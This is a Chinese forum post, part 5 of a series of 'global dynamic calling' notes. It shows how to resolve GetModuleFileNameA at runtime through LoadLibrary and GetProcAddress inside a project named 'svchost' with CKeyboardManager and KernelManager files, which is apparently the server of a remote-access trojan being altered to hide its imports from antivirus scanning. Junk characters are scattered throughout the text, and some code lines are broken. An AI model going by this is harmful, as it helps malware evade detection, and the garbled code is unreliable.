[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记5 s' @0 G# G  i
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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& F! I: X/ {0 d4 {$ h; Q; m/ l- }DTDY.h：- K' g% k. S' e6 k4 F  J- y

( z/ @& o1 K! x3 @. w* J& t/ \( H#if _MSC_VER>1000
4 v* D# V- C3 s- S/ H#pragma once' F! L+ M0 H$ r) t0 A
#endif //_MSC_VER>1000; c/ B9 a5 F6 c6 e3 X) F- X
#include<windows.h>- w" \  y( e$ V' L) _3 a5 Z

) U. Y* L* O/ w' T  J8 v, L; btypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);( o3 v5 u! x: S" V
class DTDY5 W  z0 W1 g: N& Q
{
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DTDY();
: ]+ z% p' F$ o4 g* Bvirtual ~DTDY();% R9 f9 N* a- f. c* K, H3 w9 P& P
public:
- t( P% T) ]* t: a" i# Xstatic pGetModuleFileNameA MyGetModuleFileName;
! Z- e. ]" P5 `9 mstatic BOOL FunInitiallization();
- ]% C" {2 ?( v% `3 B};
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DTDY.cpp:
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$ m: {0 Y1 b4 K: C#include "DTDY.h"
3 d5 k  _4 U  e- |" V; f7 O. e/ l: q- CpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;4 D" x. Q9 Q) K7 h
DTDY:TDY()8 O; w! J+ O! B; M6 c
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}
6 u9 W: K1 `: B2 GDTDY::~DTDY()+ A2 y  F- ~/ g. u! p' j9 V) ~1 _
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}
* s, }$ J, R; m* U3 o6 b1 q1 UBOOL DTDY::FunInitiallization()+ h& A% w% l; s$ a$ I1 ]: I
{% t+ a7 B( ]( O. k. g, k# i
HMODULE hModule=LoadLibrary("kernel32.dll");
# V  \7 v+ J( V" _5 hMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
$ q3 P& F/ T. I+ p: B! t5 ~if(!MyGetModuleFileName=) return FALSE;
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4 e# ^. N3 U) m2 @. rreturn TRUE;' C0 v1 f% M2 D. R# Z
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svchost.cpp:8 z! n4 e+ F+ x! o; k) q
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#include "DTDY.h") x1 `$ i( Z. h/ a; f+ B! [
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)5 H  j8 I3 [/ r/ k# x
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switch(ul_reason_for_call)% V! k$ [7 ~) b4 i- u" m* k
{
, v( n7 u" M& }+ g  Wcase DLL_PROCESS_ATTACH:
  z8 Y% b4 ], z: Gif(!DTDY::FunInitiallization()) return FALSE;
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& o0 S6 i. H, t4 L( Q5 K( k2 {3 D+ abreak;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
. d. ~8 n3 p5 w0 W  O; _$ e5 F3 T改写为
* E3 B7 j, I& P! ^, R# X$ K3 vDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));8 D( G4 c& E5 r' ?% ^
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4 e8 L7 G+ T$ N! ^KernelManager.cpp:, y8 D6 {) e& d3 c6 x6 ?
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#include "../DTDY.h"
- l9 ?% @/ m; e# CGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));+ F3 i+ j, s" J- q6 K
改写为7 q) R- K3 d& z) i
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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